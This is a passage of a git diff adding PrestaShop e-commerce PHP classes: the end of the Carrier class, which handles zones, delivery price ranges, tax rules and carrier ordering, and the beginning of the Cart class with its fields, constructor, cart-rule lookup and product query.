0),'; + $sql = rtrim($sql, ','); + + return Db::getInstance()->execute($sql); + } + return true; + } + return false; + } + + /** + * Delete zone + */ + public function deleteZone($id_zone) + { + if (Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'carrier_zone` + WHERE `id_carrier` = '.(int)$this->id.' + AND `id_zone` = '.(int)$id_zone.' LIMIT 1 + ')) + { + return Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'delivery` + WHERE `id_carrier` = '.(int)$this->id.' + AND `id_zone` = '.(int)$id_zone); + } + return false; + } + + /** + * Gets a specific group + * + * @since 1.5.0 + * @return array Group + */ + public function getGroups() + { + return Db::getInstance()->executeS(' + SELECT id_group + FROM '._DB_PREFIX_.'carrier_group + WHERE id_carrier='.(int)$this->id); + } + + /** + * Clean delivery prices (weight/price) + * + * @param string $rangeTable Table name to clean (weight or price according to shipping method) + * @return boolean Deletion result + */ + public function deleteDeliveryPrice($range_table) + { + $where = '`id_carrier` = '.(int)$this->id.' AND (`id_'.$range_table.'` IS NOT NULL OR `id_'.$range_table.'` = 0) '; + + if (Shop::getContext() == Shop::CONTEXT_ALL) + $where .= 'AND id_shop IS NULL AND id_shop_group IS NULL'; + else if (Shop::getContext() == Shop::CONTEXT_GROUP) + $where .= 'AND id_shop IS NULL AND id_shop_group = '.(int)Shop::getContextShopGroupID(); + else + $where .= 'AND id_shop = '.(int)Shop::getContextShopID(); + + return Db::getInstance()->delete('delivery', $where); + } + + /** + * Add new delivery prices + * + * @param array $priceList Prices list in multiple arrays (changed to array since 1.5.0) + * @return boolean Insertion result + */ + public function addDeliveryPrice($price_list) + { + if (!$price_list) + return false; + + $keys = array_keys($price_list[0]); + if (!in_array('id_shop', $keys)) + $keys[] = 'id_shop'; + if (!in_array('id_shop_group', $keys)) + $keys[] = 'id_shop_group'; + + $sql = 'INSERT INTO `'._DB_PREFIX_.'delivery` ('.implode(', ', $keys).') VALUES '; + foreach ($price_list as $values) + { + if (!isset($values['id_shop'])) + $values['id_shop'] = (Shop::getContext() == Shop::CONTEXT_SHOP) ? Shop::getContextShopID() : null; + if (!isset($values['id_shop_group'])) + $values['id_shop_group'] = (Shop::getContext() != Shop::CONTEXT_ALL) ? Shop::getContextShopGroupID() : null; + + $sql .= '('; + foreach ($values as $v) + { + if (is_null($v)) + $sql .= 'NULL'; + else if (is_int($v) || is_float($v)) + $sql .= $v; + else + $sql .= '\''.$v.'\''; + $sql .= ', '; + } + $sql = rtrim($sql, ', ').'), '; + } + $sql = rtrim($sql, ', '); + return Db::getInstance()->execute($sql); + } + + /** + * Copy old carrier informations when update carrier + * + * @param integer $oldId Old id carrier (copy from that id) + */ + public function copyCarrierData($old_id) + { + if (!Validate::isUnsignedId($old_id)) + throw new PrestaShopException('Incorrect identifier for carrier'); + + if (!$this->id) + return false; + + $old_logo = _PS_SHIP_IMG_DIR_.'/'.(int)$old_id.'.jpg'; + if (file_exists($old_logo)) + copy($old_logo, _PS_SHIP_IMG_DIR_.'/'.(int)$this->id.'.jpg'); + + $old_tmp_logo = _PS_TMP_IMG_DIR_.'/carrier_mini_'.(int)$old_id.'.jpg'; + if (file_exists($old_tmp_logo)) + { + if (!isset($_FILES['logo'])) + copy($old_tmp_logo, _PS_TMP_IMG_DIR_.'/carrier_mini_'.$this->id.'.jpg'); + unlink($old_tmp_logo); + } + + // Copy existing ranges price + foreach (array('range_price', 'range_weight') as $range) + { + $res = Db::getInstance()->executeS(' + SELECT `id_'.$range.'` as id_range, `delimiter1`, `delimiter2` + FROM `'._DB_PREFIX_.$range.'` + WHERE `id_carrier` = '.(int)$old_id); + if (count($res)) + foreach ($res as $val) + { + Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.$range.'` (`id_carrier`, `delimiter1`, `delimiter2`) + VALUES ('.$this->id.','.(float)$val['delimiter1'].','.(float)$val['delimiter2'].')'); + $range_id = (int)Db::getInstance()->Insert_ID(); + + $range_price_id = ($range == 'range_price') ? $range_id : 'NULL'; + $range_weight_id = ($range == 'range_weight') ? $range_id : 'NULL'; + + Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'delivery` (`id_carrier`, `id_shop`, `id_shop_group`, `id_range_price`, `id_range_weight`, `id_zone`, `price`) ( + SELECT '.(int)$this->id.', `id_shop`, `id_shop_group`, '.(int)$range_price_id.', '.(int)$range_weight_id.', `id_zone`, `price` + FROM `'._DB_PREFIX_.'delivery` + WHERE `id_carrier` = '.(int)$old_id.' + AND `id_'.$range.'` = '.(int)$val['id_range'].' + ) + '); + } + } + + // Copy existing zones + $res = Db::getInstance()->executeS(' + SELECT * + FROM `'._DB_PREFIX_.'carrier_zone` + WHERE id_carrier = '.(int)$old_id); + foreach ($res as $val) + Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'carrier_zone` (`id_carrier`, `id_zone`) + VALUES ('.$this->id.','.(int)$val['id_zone'].') + '); + + //Copy default carrier + if (Configuration::get('PS_CARRIER_DEFAULT') == $old_id) + Configuration::updateValue('PS_CARRIER_DEFAULT', (int)$this->id); + + // Copy reference + $id_reference = Db::getInstance()->getValue(' + SELECT `id_reference` + FROM `'._DB_PREFIX_.$this->def['table'].'` + WHERE id_carrier = '.(int)$old_id); + Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.$this->def['table'].'` + SET `id_reference` = '.(int)$id_reference.' + WHERE `id_carrier` = '.(int)$this->id); + + $this->id_reference = (int)$id_reference; + + // Copy tax rules group + Db::getInstance()->execute('INSERT INTO `'._DB_PREFIX_.'carrier_tax_rules_group_shop` (`id_carrier`, `id_tax_rules_group`, `id_shop`) + (SELECT '.(int)$this->id.', `id_tax_rules_group`, `id_shop` + FROM `'._DB_PREFIX_.'carrier_tax_rules_group_shop` + WHERE `id_carrier`='.(int)$old_id.')'); + // Update warehouse_carriers + Db::getInstance()->execute('UPDATE '._DB_PREFIX_.'warehouse_carrier SET id_carrier='.(int)$this->id.' WHERE id_carrier='.(int)$old_id); + } + + /** + * Get carrier using the reference id + */ + public static function getCarrierByReference($id_reference) + { + // @todo class var $table must became static. here I have to use 'carrier' because this method is static + $id_carrier = Db::getInstance()->getValue('SELECT `id_carrier` FROM `'._DB_PREFIX_.'carrier` + WHERE id_reference = '.(int)$id_reference.' AND deleted = 0 ORDER BY id_carrier DESC'); + if (!$id_carrier) + return false; + return new Carrier($id_carrier); + } + + /** + * Check if carrier is used (at least one order placed) + * + * @return integer Order count for this carrier + */ + public function isUsed() + { + $row = Db::getInstance()->getRow(' + SELECT COUNT(`id_carrier`) AS total + FROM `'._DB_PREFIX_.'orders` + WHERE `id_carrier` = '.(int)$this->id); + + return (int)$row['total']; + } + + public function getShippingMethod() + { + if ($this->is_free) + return Carrier::SHIPPING_METHOD_FREE; + + $method = (int)$this->shipping_method; + + if ($this->shipping_method == Carrier::SHIPPING_METHOD_DEFAULT) + { + // backward compatibility + if ((int)Configuration::get('PS_SHIPPING_METHOD')) + $method = Carrier::SHIPPING_METHOD_WEIGHT; + else + $method = Carrier::SHIPPING_METHOD_PRICE; + } + + return $method; + } + + public function getRangeTable() + { + $shipping_method = $this->getShippingMethod(); + if ($shipping_method == Carrier::SHIPPING_METHOD_WEIGHT) + return 'range_weight'; + elseif ($shipping_method == Carrier::SHIPPING_METHOD_PRICE) + return 'range_price'; + return false; + } + + public function getRangeObject() + { + $shipping_method = $this->getShippingMethod(); + if ($shipping_method == Carrier::SHIPPING_METHOD_WEIGHT) + return new RangeWeight(); + elseif ($shipping_method == Carrier::SHIPPING_METHOD_PRICE) + return new RangePrice(); + return false; + } + + public function getRangeSuffix($currency = null) + { + if (!$currency) + $currency = Context::getContext()->currency; + $suffix = Configuration::get('PS_WEIGHT_UNIT'); + if ($this->getShippingMethod() == Carrier::SHIPPING_METHOD_PRICE) + $suffix = $currency->sign; + return $suffix; + } + + public function getIdTaxRulesGroup(Context $context = null) + { + return Carrier::getIdTaxRulesGroupByIdCarrier((int)$this->id, $context); + } + + public static function getIdTaxRulesGroupByIdCarrier($id_carrier, Context $context = null) + { + if (!$context) + $context = Context::getContext(); + $key = 'carrier_id_tax_rules_group_'.(int)$id_carrier.'_'.(int)$context->shop->id; + if (!Cache::isStored($key)) + Cache::store($key, + Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue(' + SELECT `id_tax_rules_group` + FROM `'._DB_PREFIX_.'carrier_tax_rules_group_shop` + WHERE `id_carrier` = '.(int)$id_carrier.' AND id_shop='.(int)Context::getContext()->shop->id)); + + return Cache::retrieve($key); + } + + public function deleteTaxRulesGroup(array $shops = null) + { + if (!$shops) + $shops = Shop::getContextListShopID(); + + $where = 'id_carrier = '.(int)$this->id; + if ($shops) + $where .= ' AND id_shop IN('.implode(', ', array_map('intval', $shops)).')'; + return Db::getInstance()->delete('carrier_tax_rules_group_shop', $where); + } + + public function setTaxRulesGroup($id_tax_rules_group, $all_shops = false) + { + if (!Validate::isUnsignedId($id_tax_rules_group)) + die(Tools::displayError()); + + if (!$all_shops) + $shops = Shop::getContextListShopID(); + else + $shops = Shop::getShops(true, null, true); + + $this->deleteTaxRulesGroup($shops); + + $values = array(); + foreach ($shops as $id_shop) + $values[] = array( + 'id_carrier' => (int)$this->id, + 'id_tax_rules_group' => (int)$id_tax_rules_group, + 'id_shop' => (int)$id_shop, + ); + Cache::clean('carrier_id_tax_rules_group_'.(int)$this->id.'_'.(int)Context::getContext()->shop->id); + return Db::getInstance()->insert('carrier_tax_rules_group_shop', $values); + } + + /** + * Returns the taxes rate associated to the carrier + * + * @since 1.5 + * @param Address $address + * @return + */ + public function getTaxesRate(Address $address) + { + $tax_calculator = $this->getTaxCalculator($address); + return $tax_calculator->getTotalRate(); + } + + /** + * Returns the taxes calculator associated to the carrier + * + * @since 1.5 + * @param Address $address + * @return + */ + public function getTaxCalculator(Address $address) + { + $tax_manager = TaxManagerFactory::getManager($address, $this->getIdTaxRulesGroup()); + return $tax_manager->getTaxCalculator(); + } + + /** + * This tricky method generates a sql clause to check if ranged data are overloaded by multishop + * + * @since 1.5.0 + * @param string $rangeTable + * @return string + */ + public static function sqlDeliveryRangeShop($range_table, $alias = 'd') + { + if (Shop::getContext() == Shop::CONTEXT_ALL) + $where = 'AND d2.id_shop IS NULL AND d2.id_shop_group IS NULL'; + else if (Shop::getContext() == Shop::CONTEXT_GROUP) + $where = 'AND ((d2.id_shop_group IS NULL OR d2.id_shop_group = '.Shop::getContextShopGroupID().') AND d2.id_shop IS NULL)'; + else + $where = 'AND (d2.id_shop = '.Shop::getContextShopID().' OR (d2.id_shop_group = '.Shop::getContextShopGroupID().' + AND d2.id_shop IS NULL) OR (d2.id_shop_group IS NULL AND d2.id_shop IS NULL))'; + + $sql = 'AND '.$alias.'.id_delivery = ( + SELECT d2.id_delivery + FROM '._DB_PREFIX_.'delivery d2 + WHERE d2.id_carrier = '.$alias.'.id_carrier + AND d2.id_zone = '.$alias.'.id_zone + AND d2.id_'.$range_table.' = '.$alias.'.id_'.$range_table.' + '.$where.' + ORDER BY d2.id_shop DESC, d2.id_shop_group DESC + LIMIT 1 + )'; + return $sql; + } + + /** + * Moves a carrier + * + * @since 1.5.0 + * @param boolean $way Up (1) or Down (0) + * @param integer $position + * @return boolean Update result + */ + public function updatePosition($way, $position) + { + if (!$res = Db::getInstance()->executeS(' + SELECT `id_carrier`, `position` + FROM `'._DB_PREFIX_.'carrier` + WHERE `deleted` = 0 + ORDER BY `position` ASC' + )) + return false; + + foreach ($res as $carrier) + if ((int)$carrier['id_carrier'] == (int)$this->id) + $moved_carrier = $carrier; + + if (!isset($moved_carrier) || !isset($position)) + return false; + + // < and > statements rather than BETWEEN operator + // since BETWEEN is treated differently according to databases + return (Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'carrier` + SET `position`= `position` '.($way ? '- 1' : '+ 1').' + WHERE `position` + '.($way + ? '> '.(int)$moved_carrier['position'].' AND `position` <= '.(int)$position + : '< '.(int)$moved_carrier['position'].' AND `position` >= '.(int)$position.' + AND `deleted` = 0')) + && Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'carrier` + SET `position` = '.(int)$position.' + WHERE `id_carrier` = '.(int)$moved_carrier['id_carrier'])); + } + + /** + * Reorders carrier positions. + * Called after deleting a carrier. + * + * @since 1.5.0 + * @return bool $return + */ + public static function cleanPositions() + { + $return = true; + + $sql = ' + SELECT `id_carrier` + FROM `'._DB_PREFIX_.'carrier` + WHERE `deleted` = 0 + ORDER BY `position` ASC'; + $result = Db::getInstance()->executeS($sql); + + $i = 0; + foreach ($result as $value) + $return = Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'carrier` + SET `position` = '.(int)$i++.' + WHERE `id_carrier` = '.(int)$value['id_carrier']); + return $return; + } + + /** + * Gets the highest carrier position + * + * @since 1.5.0 + * @return int $position + */ + public static function getHigherPosition() + { + $sql = 'SELECT MAX(`position`) + FROM `'._DB_PREFIX_.'carrier` + WHERE `deleted` = 0'; + $position = DB::getInstance()->getValue($sql); + return (is_numeric($position)) ? $position : -1; + } + + /** + * For a given {product, warehouse}, gets the carrier available + * + * @since 1.5.0 + * @param Product $product The id of the product, or an array with at least the package size and weight + * @return array + */ + public static function getAvailableCarrierList(Product $product, $id_warehouse, $id_address_delivery = null, $id_shop = null, $cart = null) + { + if (is_null($id_shop)) + $id_shop = Context::getContext()->shop->id; + if (is_null($cart)) + $cart = Context::getContext()->cart; + + $id_address = (int)((!is_null($id_address_delivery) && $id_address_delivery != 0) ? $id_address_delivery : $cart->id_address_delivery); + if ($id_address) + { + $address = new Address($id_address); + $id_zone = Address::getZoneById($address->id); + + // Check the country of the address is activated + if (!Address::isCountryActiveById($address->id)) + return array(); + } + else + { + $country = new Country(Configuration::get('PS_COUNTRY_DEFAULT')); + $id_zone = $country->id_zone; + } + + // Does the product is linked with carriers? + $query = new DbQuery(); + $query->select('id_carrier'); + $query->from('product_carrier', 'pc'); + $query->innerJoin('carrier', 'c', 'c.id_reference = pc.id_carrier_reference AND c.deleted = 0'); + $query->where('pc.id_product = '.(int)$product->id); + $query->where('pc.id_shop = '.(int)$id_shop); + + $carriers_for_product = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($query); + $carrier_list = array(); + if (!empty($carriers_for_product)) + { + //the product is linked with carriers + foreach ($carriers_for_product as $carrier) //check if the linked carriers are available in current zone + if (Carrier::checkCarrierZone($carrier['id_carrier'], $id_zone)) + $carrier_list[] = $carrier['id_carrier']; + if (empty($carrier_list)) + return array();//no linked carrier are available for this zone + } + + // The product is not dirrectly linked with a carrier + // Get all the carriers linked to a warehouse + if ($id_warehouse) + { + $warehouse = new Warehouse($id_warehouse); + $warehouse_carrier_list = $warehouse->getCarriers(); + } + + $available_carrier_list = array(); + $customer = new Customer($cart->id_customer); + $carriers = Carrier::getCarriersForOrder($id_zone, $customer->getGroups(), $cart); + + foreach ($carriers as $carrier) + $available_carrier_list[] = $carrier['id_carrier']; + + if ($carrier_list) + $carrier_list = array_intersect($available_carrier_list, $carrier_list); + else + $carrier_list = $available_carrier_list; + + if (isset($warehouse_carrier_list)) + $carrier_list = array_intersect($carrier_list, $warehouse_carrier_list); + + if ($product->width > 0 || $product->height > 0 || $product->depth > 0 || $product->weight > 0) + { + foreach ($carrier_list as $key => $id_carrier) + { + $carrier = new Carrier($id_carrier); + if (($carrier->max_width > 0 && $carrier->max_width < $product->width) + || ($carrier->max_height > 0 && $carrier->max_height < $product->height) + || ($carrier->max_depth > 0 && $carrier->max_depth < $product->depth) + || ($carrier->max_weight > 0 && $carrier->max_weight < $product->weight)) + unset($carrier_list[$key]); + } + } + return $carrier_list; + } + + /** + * Assign one (ore more) group to all carriers + * + * @since 1.5.0 + * @param int|array $id_group_list group id or list of group ids + * @param array $exception list of id carriers to ignore + */ + public static function assignGroupToAllCarriers($id_group_list, $exception = null) + { + if (!is_array($id_group_list)) + $id_group_list = array($id_group_list); + + Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'carrier_group` + WHERE `id_group` IN ('.join(',', $id_group_list).')'); + + $carrier_list = Db::getInstance()->executeS(' + SELECT id_carrier FROM `'._DB_PREFIX_.'carrier` + WHERE deleted = 0 + '.(is_array($exception) ? 'AND id_carrier NOT IN ('.join(',', $exception).')' : '')); + + if ($carrier_list) + { + $data = array(); + foreach ($carrier_list as $carrier) + { + foreach ($id_group_list as $id_group) + $data[] = array( + 'id_carrier' => $carrier['id_carrier'], + 'id_group' => $id_group, + ); + } + return Db::getInstance()->insert('carrier_group', $data, false, false, Db::INSERT); + } + + return true; + } +} + diff --git a/classes/Cart.php b/classes/Cart.php new file mode 100755 index 0000000..0e703b3 --- /dev/null +++ b/classes/Cart.php @@ -0,0 +1,3674 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class CartCore extends ObjectModel +{ + public $id; + + public $id_shop_group; + + public $id_shop; + + /** @var integer Customer delivery address ID */ + public $id_address_delivery; + + /** @var integer Customer invoicing address ID */ + public $id_address_invoice; + + /** @var integer Customer currency ID */ + public $id_currency; + + /** @var integer Customer ID */ + public $id_customer; + + /** @var integer Guest ID */ + public $id_guest; + + /** @var integer Language ID */ + public $id_lang; + + /** @var boolean True if the customer wants a recycled package */ + public $recyclable = 0; + + /** @var boolean True if the customer wants a gift wrapping */ + public $gift = 0; + + /** @var string Gift message if specified */ + public $gift_message; + + /** @var boolean Mobile Theme */ + public $mobile_theme; + + /** @var string Object creation date */ + public $date_add; + + /** @var string secure_key */ + public $secure_key; + + /** @var integer Carrier ID */ + public $id_carrier = 0; + + /** @var string Object last modification date */ + public $date_upd; + + public $checkedTos = false; + public $pictures; + public $textFields; + + public $delivery_option; + + /** @var boolean Allow to seperate order in multiple package in order to recieve as soon as possible the available products */ + public $allow_seperated_package = false; + + protected static $_nbProducts = array(); + protected static $_isVirtualCart = array(); + + protected $_products = null; + protected static $_totalWeight = array(); + protected $_taxCalculationMethod = PS_TAX_EXC; + protected static $_carriers = null; + protected static $_taxes_rate = null; + protected static $_attributesLists = array(); + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'cart', + 'primary' => 'id_cart', + 'fields' => array( + 'id_shop_group' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'id_shop' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'id_address_delivery' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'id_address_invoice' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'id_carrier' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'id_currency' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_customer' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'id_guest' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'id_lang' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'recyclable' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'gift' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'gift_message' => array('type' => self::TYPE_STRING, 'validate' => 'isMessage'), + 'mobile_theme' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'delivery_option' => array('type' => self::TYPE_STRING), + 'secure_key' => array('type' => self::TYPE_STRING, 'size' => 32), + 'allow_seperated_package' =>array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'date_add' => array('type' => self::TYPE_DATE, 'validate' => 'isDateFormat'), + 'date_upd' => array('type' => self::TYPE_DATE, 'validate' => 'isDateFormat'), + ), + ); + + protected $webserviceParameters = array( + 'fields' => array( + 'id_address_delivery' => array('xlink_resource' => 'addresses'), + 'id_address_invoice' => array('xlink_resource' => 'addresses'), + 'id_currency' => array('xlink_resource' => 'currencies'), + 'id_customer' => array('xlink_resource' => 'customers'), + 'id_guest' => array('xlink_resource' => 'guests'), + 'id_lang' => array('xlink_resource' => 'languages'), + ), + 'associations' => array( + 'cart_rows' => array('resource' => 'cart_row', 'virtual_entity' => true, 'fields' => array( + 'id_product' => array('required' => true, 'xlink_resource' => 'products'), + 'id_product_attribute' => array('required' => true, 'xlink_resource' => 'combinations'), + 'quantity' => array('required' => true), + ) + ), + ), + ); + + const ONLY_PRODUCTS = 1; + const ONLY_DISCOUNTS = 2; + const BOTH = 3; + const BOTH_WITHOUT_SHIPPING = 4; + const ONLY_SHIPPING = 5; + const ONLY_WRAPPING = 6; + const ONLY_PRODUCTS_WITHOUT_SHIPPING = 7; + const ONLY_PHYSICAL_PRODUCTS_WITHOUT_SHIPPING = 8; + + public function __construct($id = null, $id_lang = null) + { + parent::__construct($id, $id_lang); + if ($this->id_customer) + { + if (isset(Context::getContext()->customer) && Context::getContext()->customer->id == $this->id_customer) + $customer = Context::getContext()->customer; + else + $customer = new Customer((int)$this->id_customer); + + if ((!$this->secure_key || $this->secure_key == '-1') && $customer->secure_key) + { + $this->secure_key = $customer->secure_key; + $this->save(); + } + } + $this->_taxCalculationMethod = Group::getPriceDisplayMethod(Group::getCurrent()->id); + + } + + public function add($autodate = true, $null_values = false) + { + if (!$this->id_lang) + $this->id_lang = Configuration::get('PS_LANG_DEFAULT'); + if (!$this->id_shop) + $this->id_shop = Context::getContext()->shop->id; + + $return = parent::add($autodate); + Hook::exec('actionCartSave'); + + return $return; + } + + public function update($null_values = false) + { + if (isset(self::$_nbProducts[$this->id])) + unset(self::$_nbProducts[$this->id]); + + if (isset(self::$_totalWeight[$this->id])) + unset(self::$_totalWeight[$this->id]); + + $this->_products = null; + $return = parent::update(); + Hook::exec('actionCartSave'); + + return $return; + } + + /** + * Update the address id of the cart + * + * @param int $id_address Current address id to change + * @param int $id_address_new New address id + */ + public function updateAddressId($id_address, $id_address_new) + { + $to_update = false; + if (!isset($this->id_address_invoice) || $this->id_address_invoice == $id_address) + { + $to_update = true; + $this->context->cart->id_address_invoice = $id_address_new; + } + if (!isset($this->id_address_delivery) || $this->id_address_delivery == $id_address) + { + $to_update = true; + $this->id_address_delivery = $id_address_new; + } + if ($to_update) + $this->update(); + + $sql = 'UPDATE `'._DB_PREFIX_.'cart_product` + SET `id_address_delivery` = '.(int)$id_address_new.' + WHERE `id_cart` = '.(int)$this->id.' + AND `id_address_delivery` = '.(int)$id_address; + Db::getInstance()->execute($sql); + + $sql = 'UPDATE `'._DB_PREFIX_.'customization` + SET `id_address_delivery` = '.(int)$id_address_new.' + WHERE `id_cart` = '.(int)$this->id.' + AND `id_address_delivery` = '.(int)$id_address; + Db::getInstance()->execute($sql); + } + + public function delete() + { + if ($this->OrderExists()) //NOT delete a cart which is associated with an order + return false; + + $uploaded_files = Db::getInstance()->executeS(' + SELECT cd.`value` + FROM `'._DB_PREFIX_.'customized_data` cd + INNER JOIN `'._DB_PREFIX_.'customization` c ON (cd.`id_customization`= c.`id_customization`) + WHERE cd.`type`= 0 AND c.`id_cart`='.(int)$this->id + ); + + foreach ($uploaded_files as $must_unlink) + { + unlink(_PS_UPLOAD_DIR_.$must_unlink['value'].'_small'); + unlink(_PS_UPLOAD_DIR_.$must_unlink['value']); + } + + Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'customized_data` + WHERE `id_customization` IN ( + SELECT `id_customization` + FROM `'._DB_PREFIX_.'customization` + WHERE `id_cart`='.(int)$this->id.' + )' + ); + + Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'customization` + WHERE `id_cart` = '.(int)$this->id + ); + + if (!Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'cart_cart_rule` WHERE `id_cart` = '.(int)$this->id) + || !Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'cart_product` WHERE `id_cart` = '.(int)$this->id)) + return false; + + return parent::delete(); + } + + public static function getTaxesAverageUsed($id_cart) + { + $cart = new Cart((int)$id_cart); + if (!Validate::isLoadedObject($cart)) + die(Tools::displayError()); + + if (!Configuration::get('PS_TAX')) + return 0; + + $products = $cart->getProducts(); + $total_products_moy = 0; + $ratio_tax = 0; + + if (!count($products)) + return 0; + + foreach ($products as $product) // products refer to the cart details + { + if (Configuration::get('PS_TAX_ADDRESS_TYPE') == 'id_address_invoice') + $address_id = (int)$cart->id_address_invoice; + else + $address_id = (int)$product['id_address_delivery']; // Get delivery address of the product from the cart + if (!Address::addressExists($address_id)) + $address_id = null; + + $total_products_moy += $product['total_wt']; + $ratio_tax += $product['total_wt'] * Tax::getProductTaxRate( + (int)$product['id_product'], + (int)$address_id + ); + } + + if ($total_products_moy > 0) + return $ratio_tax / $total_products_moy; + + return 0; + } + + /** + * @deprecated 1.5.0, use Cart->getCartRules() + */ + public function getDiscounts($lite = false, $refresh = false) + { + Tools::displayAsDeprecated(); + return $this->getCartRules(); + } + + public function getCartRules($filter = CartRule::FILTER_ACTION_ALL) + { + // If the cart has not been saved, then there can't be any cart rule applied + if (!CartRule::isFeatureActive() || !$this->id) + return array(); + + $cache_key = 'Cart::getCartRules'.$this->id.'-'.$filter; + if (!Cache::isStored($cache_key)) + { + $result = Db::getInstance()->executeS(' + SELECT * + FROM `'._DB_PREFIX_.'cart_cart_rule` cd + LEFT JOIN `'._DB_PREFIX_.'cart_rule` cr ON cd.`id_cart_rule` = cr.`id_cart_rule` + LEFT JOIN `'._DB_PREFIX_.'cart_rule_lang` crl ON ( + cd.`id_cart_rule` = crl.`id_cart_rule` + AND crl.id_lang = '.(int)$this->id_lang.' + ) + WHERE `id_cart` = '.(int)$this->id.' + '.($filter == CartRule::FILTER_ACTION_SHIPPING ? 'AND free_shipping = 1' : '').' + '.($filter == CartRule::FILTER_ACTION_GIFT ? 'AND gift_product != 0' : '').' + '.($filter == CartRule::FILTER_ACTION_REDUCTION ? 'AND (reduction_percent != 0 OR reduction_amount != 0)' : '') + ); + Cache::store($cache_key, $result); + } + $result = Cache::retrieve($cache_key); + + // Define virtual context to prevent case where the cart is not the in the global context + $virtual_context = Context::getContext()->cloneContext(); + $virtual_context->cart = $this; + + foreach ($result as &$row) + { + $row['obj'] = new CartRule($row['id_cart_rule'], (int)$this->id_lang); + $row['value_real'] = $row['obj']->getContextualValue(true, $virtual_context, $filter); + $row['value_tax_exc'] = $row['obj']->getContextualValue(false, $virtual_context, $filter); + + // Retro compatibility < 1.5.0.2 + $row['id_discount'] = $row['id_cart_rule']; + $row['description'] = $row['name']; + } + + return $result; + } + + public function getDiscountsCustomer($id_cart_rule) + { + if (!CartRule::isFeatureActive()) + return 0; + + return Db::getInstance()->getValue(' + SELECT COUNT(*) + FROM `'._DB_PREFIX_.'cart_cart_rule` + WHERE `id_cart_rule` = '.(int)$id_cart_rule.' AND `id_cart` = '.(int)$this->id + ); + } + + public function getLastProduct() + { + $sql = ' + SELECT `id_product`, `id_product_attribute`, id_shop + FROM `'._DB_PREFIX_.'cart_product` + WHERE `id_cart` = '.(int)$this->id.' + ORDER BY `date_add` DESC'; + + $result = Db::getInstance()->getRow($sql); + if ($result && isset($result['id_product']) && $result['id_product']) + foreach ($this->getProducts() as $product) + if ($result['id_product'] == $product['id_product'] + && ( + !$result['id_product_attribute'] + || $result['id_product_attribute'] == $product['id_product_attribute'] + )) + return $product; + + return false; + } + + /** + * Return cart products + * + * @result array Products + */ + public function getProducts($refresh = false, $id_product = false, $id_country = null) + { + if (!$this->id) + return array(); + // Product cache must be strictly compared to NULL, or else an empty cart will add dozens of queries + if ($this->_products !== null && !$refresh) + { + // Return product row with specified ID if it exists + if (is_int($id_product)) + { + foreach ($this->_products as $product) + if ($product['id_product'] == $id_product) + return array($product); + return array(); + } + return $this->_products; + } + + // Build query + $sql = new DbQuery(); + + // Build SELECT + $sql->select('cp.`id_product_attribute`, cp.`id_product`, cp.`quantity` AS cart_quantity, cp.id_shop, pl.`name`, p.`is_virtual`, + pl.`description_short`, pl.`available_now`, pl.`available_later`, p.`id_product`, product_shop.`id_category_default`, p.`id_supplier`, + p.`id_manufacturer`, product_shop.`on_sale`, product_shop.`ecotax`, product_shop.`additional_shipping_cost`, product_shop.`available_for_order`, product_shop.`price`, p.`weight`, + stock.`quantity` quantity_available, p.`width`, p.`height`, p.`depth`, stock.`out_of_stock`, product_shop.`active`, p.`date_add`, + p.`date_upd`, IFNULL(stock.quantity, 0) as quantity, pl.`link_rewrite`, cl.`link_rewrite` AS category, + CONCAT(cp.`id_product`, IFNULL(cp.`id_product_attribute`, 0), IFNULL(cp.`id_address_delivery`, 0)) AS unique_id, cp.id_address_delivery, + product_shop.`wholesale_price`, product_shop.advanced_stock_management, ps.product_supplier_reference supplier_reference'); + + // Build FROM + $sql->from('cart_product', 'cp'); + + // Build JOIN + $sql->leftJoin('product', 'p', 'p.`id_product` = cp.`id_product`'); + $sql->innerJoin('product_shop', 'product_shop', '(product_shop.id_shop=cp.id_shop AND product_shop.id_product = p.id_product)'); + $sql->leftJoin('product_lang', 'pl', ' + p.`id_product` = pl.`id_product` + AND pl.`id_lang` = '.(int)$this->id_lang.Shop::addSqlRestrictionOnLang('pl', 'cp.id_shop') + ); + + $sql->leftJoin('category_lang', 'cl', ' + product_shop.`id_category_default` = cl.`id_category` + AND cl.`id_lang` = '.(int)$this->id_lang.Shop::addSqlRestrictionOnLang('cl', 'cp.id_shop') + ); + + $sql->leftJoin('product_supplier', 'ps', 'ps.id_product=cp.id_product AND ps.id_product_attribute=cp.id_product_attribute AND ps.id_supplier=p.id_supplier'); + + // @todo test if everything is ok, then refactorise call of this method + $sql->join(Product::sqlStock('cp', 'cp')); + + // Build WHERE clauses + $sql->where('cp.`id_cart` = '.(int)$this->id); + if 